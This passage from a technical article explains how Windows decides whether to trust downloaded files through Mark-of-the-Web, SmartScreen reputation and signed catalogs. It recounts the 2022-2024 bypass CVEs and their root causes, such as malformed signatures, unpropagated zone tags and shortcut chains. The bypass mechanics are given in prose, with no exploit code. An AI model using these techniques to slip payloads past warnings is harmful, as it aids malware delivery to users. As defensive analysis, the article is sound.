&lt;p&gt;The failure that pushed the system to Generation 2 was simple. A binary tag cannot rank-order ten million Internet-zone downloads. The 2008-2010 attacker pattern was high-volume file rotation: deliver the same payload under thousands of fresh URLs and filenames, defeat any URL-based block list, and let the file&apos;s &quot;Internet-zone yes/no&quot; tag carry zero information about whether the specific bytes on disk were known-bad, known-good, or simply unknown. The reputation oracle was the answer.&lt;/p&gt;
&lt;h3&gt;Generation 2 (2009-2018): SmartScreen Application Reputation&lt;/h3&gt;
&lt;p&gt;The insight was that &quot;is this file safe?&quot; needs a &lt;em&gt;graduated score&lt;/em&gt;, not a binary tag, computed against global telemetry. The mechanism is what Microsoft Learn calls Microsoft Defender SmartScreen [@learn-microsoft-com-defender-smartscreen], and the reputation-for-developers page [@learn-microsoft-com-smartscreen-reputation] documents the two-signal model in present-day terms. The cloud lookup is keyed on three things at once: the SHA-256 of the file content, the Authenticode publisher certificate&apos;s identity (when there is one), and the URL the file came from (the &lt;code&gt;HostUrl&lt;/code&gt; and &lt;code&gt;ReferrerUrl&lt;/code&gt; from the MOTW ADS, plus the in-browser navigation URL where applicable).&lt;/p&gt;
&lt;p&gt;The backend returns one of three verdicts: known-good, known-bad, or unknown. The user-visible artefact is the two-stage &quot;Windows protected your PC&quot; prompt -- described in detail in §6.2 -- designed to ensure a single oblivious click cannot launch an unreputed binary.&lt;/p&gt;
&lt;p&gt;Generation 2 worked well enough for several years. The failure that pushed it to Generation 3 was structural and load-bearing for the rest of this article. It was: &lt;strong&gt;the SmartScreen lookup gates the warning, so any way to make the lookup error out gates the warning off.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In October 2022, Magniber ransomware actors started signing JS payloads with deliberately malformed Authenticode signatures. The malformed signature was not an attempt to forge anything; it was an attempt to &lt;em&gt;crash the parser&lt;/em&gt;. HP Wolf Security&apos;s campaign analysis [@threatresearch-ext-hp-com-software-updates] by Patrick Schläpfer documented the September-2022 pivot from MSI/EXE to JS delivery; Will Dormann linked the campaign to a SmartScreen bug on social media in mid-October; and Mitja Kolsek&apos;s October 2022 0patch blog post [@blog-0patch-com-bypassing-motwhtml] reverse-engineered the root cause and shipped a micropatch &lt;em&gt;46 days before&lt;/em&gt; Microsoft&apos;s December 2022 fix, which was eventually catalogued as CVE-2022-44698 [@nvd-nist-gov-2022-44698].&lt;/p&gt;

Mitja Kolsek and the ACROS Security team behind 0patch have repeatedly shipped third-party micropatches for SmartScreen-class bypasses ahead of Microsoft, and the October 2022 CVE-2022-44698 patch is the cleanest case to study. The methodological lesson is that a bug fully reproducible in user mode, with a localised binary patch, can be fixed by a small independent team faster than a Patch Tuesday cycle. The same pattern would later apply to the 2024 LNK-stomping family. The cost of the approach is fragility: 0patch&apos;s binary patches target specific OS build numbers and must be re-issued for each Windows servicing update.
&lt;p&gt;Google Threat Analysis Group&apos;s Benoit Sevens published the canonical pseudocode reconstruction [@blog-google-smartscreen-bypass] of the bug in March 2023 -- which both reused 0patch&apos;s earlier flow diagram and added the function-level walk-through -- alongside the CVE-2023-24880 [@nvd-nist-gov-2023-24880] disclosure that documented Microsoft&apos;s incomplete patch:&lt;/p&gt;

By default, shdocvw.dll&apos;s `DoSafeOpenPromptForShellExec` will not display a security warning, and if the `smartscreen.exe` request returns an error for whatever reason, `DoSafeOpenPromptForShellExec` proceeds with using the default option and runs the file without displaying any security warnings to the user. -- Benoit Sevens, Google TAG, March 2023
&lt;p&gt;That is the architectural confession. The function that fronts the SmartScreen lookup is named &lt;code&gt;DoSafeOpenPromptForShellExec&lt;/code&gt;. It interprets a parser error from &lt;code&gt;smartscreen.exe&lt;/code&gt; as &quot;no warning needed&quot; rather than as &quot;the lookup failed, default to fail-closed.&quot; A malformed Authenticode signature -- a payload-controlled input -- crashes the parser. The function does what it was written to do.The CVE-2023-24880 sequel is illustrative. Microsoft&apos;s December 2022 patch narrowed the parser&apos;s error handling for one specific malformed-signature shape. Within three months, Magniber actors had pivoted from JS files to MSI files using a &lt;em&gt;different&lt;/em&gt; malformed-signature shape that hit the same fail-open code path in a still-unpatched branch. Google TAG observed &lt;em&gt;&quot;over 100,000 downloads of the malicious MSI files since January 2023, with over 80% to users in Europe.&quot;&lt;/em&gt; The patch fixed the symptom, not the root cause.&lt;/p&gt;

sequenceDiagram
    participant Shell as Explorer/Shell
    participant DSOP as shdocvw.dll -- DoSafeOpenPromptForShellExec
    participant SS as smartscreen.exe
    participant SR as signature_info::retrieve
    participant Cloud as App Reputation Service
    Shell-&amp;gt;&amp;gt;DSOP: ShellExecute on MOTW-tagged file
    DSOP-&amp;gt;&amp;gt;SS: Reputation request -- (hash + cert + URL)
    SS-&amp;gt;&amp;gt;SR: Parse Authenticode signature
    Note over SR: Malformed signature -- parser returns error
    SR--&amp;gt;&amp;gt;SS: ERROR
    SS--&amp;gt;&amp;gt;DSOP: ERROR (not &quot;fail-closed&quot;)
    Note over DSOP: CVE-2022-44698: -- treats ERROR as &quot;no warning needed&quot;
    DSOP-&amp;gt;&amp;gt;Shell: Run file (no prompt)
    Note right of Cloud: Cloud never queried
&lt;h3&gt;Generation 3 (2018-2024+): propagation hardening, catalogs revived, Smart App Control&lt;/h3&gt;
&lt;p&gt;If Generation 2&apos;s defining failure is the &lt;em&gt;parse&lt;/em&gt; class, Generation 3&apos;s defining failure is the &lt;em&gt;propagation&lt;/em&gt; class. The insight is that the chain is only as strong as its weakest propagator: every code path that copies, extracts, mounts, or saves a marked file must propagate the origin tag, or the entire downstream stack is silently disabled for the descendants of that path.&lt;/p&gt;
&lt;p&gt;A multi-year hardening campaign followed. The names below are the propagator paths Microsoft (and the wider vendor community) had to teach to honour the MOTW contract:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;7-Zip 22.00 (June 2022).&lt;/strong&gt; Igor Pavlov added the &lt;code&gt;-snz&lt;/code&gt; command-line switch and the &lt;code&gt;WriteZoneIdExtract&lt;/code&gt; registry value. With the option enabled, 7-Zip propagates the parent archive&apos;s &lt;code&gt;Zone.Identifier&lt;/code&gt; to each extracted member. Didier Stevens documented the new flag in a SANS Internet Storm Center diary [@isc-sans-edu-diary-28810]; the community-maintained archiver-MOTW-support-comparison matrix on GitHub [@github-com-support-comparison] records which archivers propagate, which do so only for specific file extensions, and which still do not.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Outlook attachment-save (2022).&lt;/strong&gt; Outlook&apos;s save-attachment path was taught to write &lt;code&gt;Zone.Identifier:ZoneId=3&lt;/code&gt; on the saved file. Office Insider builds carried this in early 2022 and general availability followed later that year.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Explorer ISO/IMG/VHD/VHDX mount (November 2022).&lt;/strong&gt; CVE-2022-41091 [@nvd-nist-gov-2022-41091] -- the bug that opens this article. Will Dormann&apos;s disclosure resulted in the November 2022 patch that taught Explorer&apos;s container-file mount path to copy the parent file&apos;s &lt;code&gt;Zone.Identifier&lt;/code&gt; onto every file visible through the mount. BleepingComputer&apos;s coverage [@bleepingcomputer-com-push-malware] quoted Microsoft&apos;s Bill Demirkapi confirming the propagation root cause.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Internet Shortcut &lt;code&gt;.url&lt;/code&gt; handling (November 2023).&lt;/strong&gt; CVE-2023-36025 [@nvd-nist-gov-2023-36025], exploited in the Phemedrone Stealer campaign that Peter Girnus, Aliakbar Zahravi, and Simon Zuckerbraun documented in a Trend Micro Research writeup [@trendmicro-com-phemedrone-stealhtml]. A crafted &lt;code&gt;.url&lt;/code&gt; file with a &lt;code&gt;URL=&lt;/code&gt; field pointing at a remote &lt;code&gt;.cpl&lt;/code&gt; payload bypassed the SmartScreen prompt entirely, even though the &lt;code&gt;.url&lt;/code&gt; itself carried MOTW. The failure was that the &lt;code&gt;.url&lt;/code&gt; handler chose not to invoke SmartScreen for certain target types. BleepingComputer&apos;s reporting [@bleepingcomputer-com-phemedrone-malware] on the in-the-wild exploitation gives the practitioner context.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shortcut chains (February 2024).&lt;/strong&gt; CVE-2024-21412 [@nvd-nist-gov-2024-21412] -- a &lt;code&gt;.url&lt;/code&gt; pointing at another &lt;code&gt;.url&lt;/code&gt; (typically on an attacker-controlled WebDAV share). Trend Micro&apos;s Water Hydra writeup [@trendmicro-com-defender-shtml] by Peter Girnus documented the use of this chain to deliver the DarkMe RAT to financial-market traders, with the DarkGate companion writeup [@trendmicro-com-windows-smahtml] covering a parallel campaign. BleepingComputer&apos;s coverage [@bleepingcomputer-com-darkme-malware] records the February 13 patch date.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shortcut chains, again (April 2024).&lt;/strong&gt; CVE-2024-29988 [@nvd-nist-gov-2024-29988] and ZDI-24-361 [@zerodayinitiative-com-24-361] -- the bypass of the bypass, jointly credited to Peter Girnus (Trend Micro ZDI) and Dmitrij Lenz and Vlad Stolyarov of Google TAG. Microsoft&apos;s February 2024 patch had closed one chained-shortcut path but left a sibling path open. The classification migrated from &quot;Internet Shortcut Files SFB&quot; to &quot;SmartScreen Prompt SFB,&quot; reflecting that the failure had moved up the call chain into the prompt-display code itself. BleepingComputer [@bleepingcomputer-com-malware-attacks] and Help Net Security [@helpnetsecurity-com-2024-29988] covered the joint April-2024 disclosure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LNK extended-path stomping (September 2024).&lt;/strong&gt; CVE-2024-38217 [@nvd-nist-gov-2024-38217], disclosed by Joe Desimone of Elastic Security Labs as part of the &lt;em&gt;Dismantling Smart App Control&lt;/em&gt; [@elastic-co-app-control] writeup. A &lt;code&gt;.lnk&lt;/code&gt; with a non-canonical &lt;code&gt;LinkTarget IDList&lt;/code&gt; -- a path with a trailing dot or space, or an unusual extended-path encoding -- triggers Explorer&apos;s canonicalisation pass to rewrite the file in place, &lt;em&gt;and the rewrite happens before &lt;code&gt;CheckSmartScreen&lt;/code&gt; is called&lt;/em&gt;. The act of rewriting strips the &lt;code&gt;Zone.Identifier&lt;/code&gt; stream. The trust signal is erased between the moment the file is opened and the moment SmartScreen would have inspected it. AhnLab&apos;s independent writeup [@asec-ahnlab-com-en-90299] confirms the September 10, 2024 patch date and the LNK-stomping classification. Elastic reported VirusTotal evidence of in-the-wild samples dating back six years.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Alongside the propagation campaign, Microsoft also shipped Smart App Control with Windows 11 22H2 in September 2022 [@blogs-windows-com-2022-update] (Panos Panay&apos;s launch announcement). SAC is the integration layer that brings the third trust layer -- the catalog of trust we are about to formalise -- into the same policy decision as MOTW and SmartScreen. Microsoft Learn&apos;s SAC overview [@learn-microsoft-com-control-overview] describes it as &lt;em&gt;&quot;an app execution control feature that combines Microsoft&apos;s app intelligence services and Windows&apos; code integrity features.&quot;&lt;/em&gt; It also documents a silent auto-disable behaviour we will return to in §9 as one of the article&apos;s headline open problems.&lt;/p&gt;
&lt;h3&gt;Anchoring each generation to a person&lt;/h3&gt;
&lt;p&gt;The 2022-2024 arc has names attached to each disclosure. The history is worth pinning to people because the engineering choices were not made by an OS, they were made by humans:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;Year&lt;/th&gt;
&lt;th&gt;Class&lt;/th&gt;
&lt;th&gt;Reporter / disclosing org&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;CVE-2022-41091&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;2022&lt;/td&gt;
&lt;td&gt;Container-file MOTW propagation&lt;/td&gt;
&lt;td&gt;Will Dormann / Bill Demirkapi (MSRC) analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2022-44698&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;2022&lt;/td&gt;
&lt;td&gt;Malformed-Authenticode fail-open&lt;/td&gt;
&lt;td&gt;Mitja Kolsek (0patch); Patrick Schläpfer (HP Wolf); Will Dormann&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2023-24880&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;2023&lt;/td&gt;
&lt;td&gt;MSI variant of the same fail-open&lt;/td&gt;
&lt;td&gt;Benoit Sevens (Google TAG)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2023-36025&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;2023&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.url&lt;/code&gt; SmartScreen-not-invoked&lt;/td&gt;
&lt;td&gt;Anonymous via MSRC; Peter Girnus et al. (Trend Micro / ZDI)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2024-21412&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;2024&lt;/td&gt;
&lt;td&gt;Chained-shortcut SFB (Water Hydra / DarkGate)&lt;/td&gt;
&lt;td&gt;Peter Girnus (Trend Micro ZDI)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2024-29988&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;2024&lt;/td&gt;
&lt;td&gt;Bypass-of-the-bypass&lt;/td&gt;
&lt;td&gt;Peter Girnus (Trend Micro ZDI); Lenz and Stolyarov (Google TAG)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2024-38217&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;2024&lt;/td&gt;
&lt;td&gt;LNK extended-path stomping&lt;/td&gt;
&lt;td&gt;Joe Desimone (Elastic Security Labs)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The pattern reveals itself when you read the column titles. None of these are cryptographic breaks. None of them attack the SHA-256 hash, the PKCS#7 signature, the certificate chain, or the publisher key. Every single one is a propagation, parser, or canonicalisation failure -- a code path that either did not carry MOTW forward, did not fail-closed on a parse error, or did not invoke the SmartScreen prompt at all.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Every CVE in this article is a missing MOTW, an unparsed signature, or a canonicalisation reorder. Not a broken hash function. Not a forged certificate. Not a chosen-message attack. The trust primitives Windows has shipped since the late 1990s (NTFS alternate data streams, PKCS#7 SignedData, Authenticode SpcIndirectDataContent, SHA-256) remain unbroken. The bugs live in the code that decides &lt;em&gt;when to read&lt;/em&gt;, &lt;em&gt;when to verify&lt;/em&gt;, and &lt;em&gt;what to do on a parse error&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;By 2024 the central pattern is clear, but stating it leaves one question: what&apos;s the &lt;em&gt;unifying&lt;/em&gt; insight that makes all three trust layers work as a single system?&lt;/p&gt;
&lt;h2&gt;5. The Catalog of Trust: Three Decisions, Not One&lt;/h2&gt;
&lt;p&gt;The synthesis is small enough to fit on a sticky note. Windows file trust is not one decision. It is &lt;em&gt;three&lt;/em&gt; independent decisions stacked on top of each other.&lt;/p&gt;
&lt;p&gt;The three decisions ask three different questions of three different systems:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The OS asks the file system, &lt;em&gt;where did this come from?&lt;/em&gt;&lt;/strong&gt; The answer is the MOTW &lt;code&gt;Zone.Identifier&lt;/code&gt; ADS. The contract is propagation: every code path that copies, extracts, mounts, or saves the file must honour the contract or the answer is lost.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The OS asks the cloud, &lt;em&gt;what is this file&apos;s reputation?&lt;/em&gt;&lt;/strong&gt; The answer is the SmartScreen Application Reputation verdict (and, for SAC and WDAC + ISG, the Intelligent Security Graph verdict, which uses the same backend). The contract is fail-closed on lookup error: if the SHA-256 hash and Authenticode publisher identity cannot be evaluated, the system must default to the warning, not skip it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The OS asks a signed catalog, &lt;em&gt;is this file&apos;s hash vouched for by a publisher Microsoft trusts?&lt;/em&gt;&lt;/strong&gt; The answer comes from &lt;code&gt;WinVerifyTrust&lt;/code&gt; [@learn-microsoft-com-wintrust-winverifytrust] falling through to a catalog lookup via &lt;code&gt;CryptCATAdminCalcHashFromFileHandle&lt;/code&gt; [@learn-microsoft-com-mscat-cryptcatadmincalchashfromfilehandl] and the catalog walk under &lt;code&gt;%SystemRoot%\System32\CatRoot&lt;/code&gt;. This is the &lt;em&gt;off-line&lt;/em&gt; trust root: it requires no cloud, no telemetry, and no graduated score.&lt;/li&gt;
&lt;/ol&gt;

A PKCS#7 / CMS `SignedData` container whose content is a list of cryptographic hashes plus per-member attributes (`OSAttr`, `HWID`, `MemberInfo`). A single signature vouches for the integrity of every listed file at once. The format has been the WHQL driver-signing primitive since Windows 2000 (Microsoft Learn, *Catalog files and digital signatures* [@learn-microsoft-com-catalog-files]) and reuses the `SpcIndirectDataContent` structure defined in the 2008 *Windows Authenticode Portable Executable Signature Format* specification [@download-microsoft-com-d599bac8184a-authenticodepedocx].
&lt;p&gt;Calling the three-layer composition a &quot;catalog of trust&quot; makes the symmetry explicit. Origin gives you provenance. Reputation gives you experience. Signature gives you attribution. The bypass class in the 2022-2024 arc is whichever layer has no answer: CVE-2022-41091 was the origin layer with no answer (MOTW not propagated through the ISO mount); CVE-2022-44698 was the reputation layer with no answer (the lookup errored out); CVE-2023-36025 was again the reputation layer with no answer, this time because the consuming code did not invoke it at all.&lt;/p&gt;

Windows file trust is not one decision, it is three -- where did this come from, what does the world think of it, and who vouches for it? Each layer answers a different question, and the bypass class is whichever layer is *missing* its answer.

flowchart TD
    File[&quot;Downloaded file -- on disk&quot;]
    Origin[&quot;LAYER 1: Origin -- Zone.Identifier ADS -- (MOTW)&quot;]
    Reputation[&quot;LAYER 2: Reputation -- SmartScreen / ISG -- (file hash + cert + URL)&quot;]
    Catalog[&quot;LAYER 3: Catalog signature -- WinVerifyTrust fall-through -- (CatRoot / CatRoot2)&quot;]
    SAC[&quot;Smart App Control -- (WDAC policy)&quot;]
    Verdict{&quot;Run / Warn / Block&quot;}
    File --&amp;gt; Origin
    File --&amp;gt; Reputation
    File --&amp;gt; Catalog
    Origin --&amp;gt; SAC
    Reputation --&amp;gt; SAC
    Catalog --&amp;gt; SAC
    SAC --&amp;gt; Verdict
&lt;p&gt;The breakthrough that crystallised in late 2022 is treating the three not as separate features but as a &lt;em&gt;layered, fail-closed defence with explicit propagation rules&lt;/em&gt;. Origin must propagate across every writer. Reputation must fail-closed on parser failure. Signature must be available even when the cloud is unreachable. And one decision, the one that finally executes, must compose all three.&lt;/p&gt;
&lt;p&gt;Smart App Control is the canonical example of &quot;all three layers composed.&quot; Microsoft Learn&apos;s SAC overview [@learn-microsoft-com-control-overview] describes the policy: in Enforcement mode, SAC blocks every binary that is not (a) recognised as known-good by the app intelligence service or (b) signed by a certificate chained to a CA in the Microsoft Trusted Root Program. The first clause is the reputation layer. The second clause is the catalog/signature layer. And both clauses are conditioned on the trigger: the file has MOTW, the launch goes through the Shell, and the kernel-mode block path engages before the binary maps. The first clause depends on the third trust layer because the Trusted Root signature is the off-line escape hatch that lets SAC run when the cloud is unreachable.&lt;/p&gt;

A Windows 11 22H2+ execution-control feature, documented at Microsoft Learn [@learn-microsoft-com-control-overview], that runs in one of three modes -- Off, Evaluation, or Enforcement. It is fundamentally a WDAC policy whose decision input is the Intelligent Security Graph reputation backend (the same one SmartScreen and WDAC + ISG consume). It is fail-closed in Enforcement mode and clean-install-only.

Microsoft&apos;s cloud-side reputation backend, used by WDAC and Smart App Control [@learn-microsoft-com-security-graph]. It uses the same telemetry and machine-learning analytics that power SmartScreen and Microsoft Defender Antivirus. WDAC consumes it via &quot;policy rule option 14&quot; (`Enabled:Intelligent Security Graph Authorization`). Positive ISG verdicts are cached on disk as the `$KERNEL.SMARTLOCKER.ORIGINCLAIM` NTFS extended attribute so subsequent boots can skip the cloud call.
&lt;p&gt;So that is the three-layer architecture and its integration point. With the framing established, we can finally describe what production looks like in Windows 11 24H2 in 2025.&lt;/p&gt;
&lt;h2&gt;6. State of the Art: Windows 11 24H2 in 2025&lt;/h2&gt;
&lt;p&gt;What does file trust look like in production? Six sub-systems, told from the bottom up.&lt;/p&gt;
&lt;h3&gt;6.1 MOTW today&lt;/h3&gt;
&lt;p&gt;Every supported Windows SKU since Windows 10 reads and writes the &lt;code&gt;Zone.Identifier&lt;/code&gt; ADS through the same vocabulary defined in 2004. The on-disk format is the UTF-16 INI block from MS-FSCC [@learn-microsoft-com-8c39-2516a9df36e8]. Microsoft Edge in 2025 writes a stream that looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[ZoneTransfer]
ZoneId=3
ReferrerUrl=&amp;lt;origin page URL&amp;gt;
HostUrl=&amp;lt;payload URL&amp;gt;
LastWriterPackageFamilyName=Microsoft.MicrosoftEdge_8wekyb3d8bbwe
AppZoneId=3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The full key set is documented across two Microsoft Learn pages. &lt;code&gt;ZoneId&lt;/code&gt; and the conceptual &lt;code&gt;ReferrerUrl&lt;/code&gt; and &lt;code&gt;HostUrl&lt;/code&gt; keys are in the MS-FSCC &lt;code&gt;Zone.Identifier&lt;/code&gt; reference [@learn-microsoft-com-8c39-2516a9df36e8]. The &lt;code&gt;AppDefinedZoneId&lt;/code&gt; and &lt;code&gt;LastWriterPackageFamilyName&lt;/code&gt; keys, added in the Windows 10 era, are on the &lt;code&gt;IZoneIdentifier2&lt;/code&gt; reference [@learn-microsoft-com-apis-mt243886vvs85]).&lt;/p&gt;
&lt;p&gt;The supported write surface is &lt;code&gt;IAttachmentExecute&lt;/code&gt;, defined in &lt;code&gt;shobjidl_core.h&lt;/code&gt;. Microsoft Learn&apos;s interface reference [@learn-microsoft-com-shobjidlcore-iattachmentexecute] enumerates its methods: &lt;code&gt;CheckPolicy&lt;/code&gt;, &lt;code&gt;Execute&lt;/code&gt;, &lt;code&gt;Prompt&lt;/code&gt;, &lt;code&gt;Save&lt;/code&gt;, &lt;code&gt;SaveWithUI&lt;/code&gt;, &lt;code&gt;SetClientGuid&lt;/code&gt;, &lt;code&gt;SetFileName&lt;/code&gt;, &lt;code&gt;SetLocalPath&lt;/code&gt;, &lt;code&gt;SetReferrer&lt;/code&gt;, &lt;code&gt;SetSource&lt;/code&gt;. A browser-style caller does &lt;code&gt;CoCreateInstance(CLSID_AttachmentServices, ...)&lt;/code&gt; followed by &lt;code&gt;SetClientGuid&lt;/code&gt;, &lt;code&gt;SetSource&lt;/code&gt;, &lt;code&gt;SetLocalPath&lt;/code&gt;, &lt;code&gt;SetReferrer&lt;/code&gt;, &lt;code&gt;SetFileName&lt;/code&gt;, and finally &lt;code&gt;Save&lt;/code&gt; (which writes the ADS and triggers the registered AV/AMSI scanner) and &lt;code&gt;Execute&lt;/code&gt; (which displays the Attachment Manager prompt before launching).&lt;/p&gt;
&lt;p&gt;{&lt;code&gt; // Simulates the contents of a typical Edge-written Zone.Identifier // stream and walks through what each key means. const ads = \&lt;/code&gt;[ZoneTransfer]
ZoneId=3
ReferrerUrl=
HostUrl=
LastWriterPackageFamilyName=Microsoft.MicrosoftEdge_8wekyb3d8bbwe
AppZoneId=3`;&lt;/p&gt;
&lt;p&gt;const URLZONE_NAMES = [
  &apos;URLZONE_LOCAL_MACHINE&apos;,
  &apos;URLZONE_INTRANET&apos;,
  &apos;URLZONE_TRUSTED&apos;,
  &apos;URLZONE_INTERNET&apos;,
  &apos;URLZONE_UNTRUSTED&apos;,
];&lt;/p&gt;
&lt;p&gt;function parseZoneIdentifier(text) {
  const result = {};
  let inBlock = false;
  for (const line of text.split(/\r?\n/)) {
    if (line.trim() === &apos;[ZoneTransfer]&apos;) { inBlock = true; continue; }
    if (!inBlock || !line.includes(&apos;=&apos;)) continue;
    const [k, ...rest] = line.split(&apos;=&apos;);
    result[k.trim()] = rest.join(&apos;=&apos;).trim();
  }
  return result;
}&lt;/p&gt;
&lt;p&gt;const fields = parseZoneIdentifier(ads);
console.log(&apos;ZoneId:&apos;, fields.ZoneId,
  &apos;(&apos; + URLZONE_NAMES[Number(fields.ZoneId)] + &apos;)&apos;);
console.log(&apos;HostUrl:&apos;, fields.HostUrl);
console.log(&apos;ReferrerUrl:&apos;, fields.ReferrerUrl);
console.log(&apos;LastWriterPackageFamilyName:&apos;,
  fields.LastWriterPackageFamilyName);
console.log(&apos;\n# PowerShell equivalent:&apos;);
console.log(&apos;# Get-Content -Path foo.exe -Stream Zone.Identifier&apos;);
`}&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;IZoneIdentifier&lt;/code&gt; interfaces -- &lt;code&gt;IZoneIdentifier&lt;/code&gt; from XP SP2 and &lt;code&gt;IZoneIdentifier2&lt;/code&gt; with the new keys -- are the lower-level read/write surface for the ADS itself, useful when a caller wants to inspect or modify the stream without going through the full Attachment Execution Service path. The cost of bypassing &lt;code&gt;IAttachmentExecute&lt;/code&gt; is exactly that: skipping the Attachment Manager hooks (AMSI, the registered AV scanner). EDR vendors who write MOTW out-of-band must go through the COM path, not directly through &lt;code&gt;WriteFile&lt;/code&gt;, or they silently disable the documented integration.&lt;/p&gt;
&lt;h3&gt;6.2 SmartScreen Application Reputation today&lt;/h3&gt;
&lt;p&gt;When a process with MOTW = Internet Zone launches, SmartScreen sends three signals to Microsoft&apos;s cloud, all on the consumer side of the &lt;code&gt;IAttachmentExecute::Execute&lt;/code&gt; path:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The &lt;strong&gt;file-hash signal&lt;/strong&gt;: SHA-256 of the file content.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;publisher signal&lt;/strong&gt;: the Authenticode certificate identity from the PE Attribute Certificate Table -- the certificate&apos;s subject fields, thumbprint, and chain. The Microsoft Learn reputation-for-developers page [@learn-microsoft-com-smartscreen-reputation] is unambiguous about one thing: EV classification is not a reputation factor (the verbatim Microsoft statement is in the PullQuote below).&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;URL signal&lt;/strong&gt;: the &lt;code&gt;HostUrl&lt;/code&gt; and &lt;code&gt;ReferrerUrl&lt;/code&gt; from the MOTW ADS, plus the navigation URL if the launch was initiated from a browser.&lt;/li&gt;
&lt;/ol&gt;

EV certificates no longer bypass SmartScreen. Years ago, signing files with an Extended Validation (EV) code signing certificate would result in positive SmartScreen reputation by default, but this behavior no longer exists. -- Microsoft Learn, *SmartScreen reputation for Windows app developers*

The cloud-backed file-and-publisher reputation oracle that shipped with Internet Explorer 9 in 2010 and was integrated into the Windows Shell with Windows 8 in October 2012. Today it is queried via the Microsoft Defender SmartScreen [@learn-microsoft-com-defender-smartscreen] overview page&apos;s documented signals (publisher + file hash + URL). The backend returns &quot;known good,&quot; &quot;known bad,&quot; or &quot;unknown&quot;; the unknown case triggers the two-stage &quot;Windows protected your PC&quot; prompt.
&lt;p&gt;The privacy posture is documented but not exhaustively detailed: the file hash, the certificate identity, and the URL are sent to Microsoft. The cloud-side ledger refreshes on a 24-hour cadence per the ISG documentation [@learn-microsoft-com-security-graph]. That has a practical implication you might not expect: a binary that was flagged as suspicious at 09:00 may be re-flagged as known-good at 09:00 the next day, depending on what telemetry rolled in.&lt;/p&gt;
&lt;p&gt;The two-stage UX is the user-visible artefact. Stage one is the &quot;Windows protected your PC -- Microsoft Defender SmartScreen prevented an unrecognized app from starting&quot; dialog whose only button is &quot;Don&apos;t run.&quot; Stage two requires a click on &quot;More info&quot; before the publisher field appears and a &quot;Run anyway&quot; button becomes available. The friction is intentional: a single oblivious click cannot launch an unreputed binary.&lt;/p&gt;
&lt;h3&gt;6.3 The Authenticode catalog file format&lt;/h3&gt;
&lt;p&gt;A catalog file is a PKCS#7 / CMS &lt;code&gt;SignedData&lt;/code&gt; structure. The contained &lt;code&gt;ContentInfo&lt;/code&gt; is a Microsoft-defined &lt;code&gt;SpcIndirectDataContent&lt;/code&gt; blob, identical in shape to the one inside an embedded Authenticode signature in a PE file. The 2008 &lt;em&gt;Windows Authenticode Portable Executable Signature Format&lt;/em&gt; spec [@download-microsoft-com-d599bac8184a-authenticodepedocx] and the current PE Format reference [@learn-microsoft-com-pe-format] are the load-bearing primaries.&lt;/p&gt;
&lt;p&gt;The catalog&apos;s &lt;code&gt;signedData.encapContentInfo.eContent&lt;/code&gt; lists &lt;em&gt;members&lt;/em&gt;: for each member, a hash (SHA-1 historically, SHA-256 on modern catalogs), a hash-algorithm OID, and a set of attribute pairs (&lt;code&gt;OSAttr&lt;/code&gt;, &lt;code&gt;HWID&lt;/code&gt;, &lt;code&gt;MemberInfo&lt;/code&gt;). The catalog is signed once; the single signature covers every listed member hash. The cost model is favourable for bulk-signing scenarios: $O(1)$ signature verification amortises across $N$ member hashes.&lt;/p&gt;
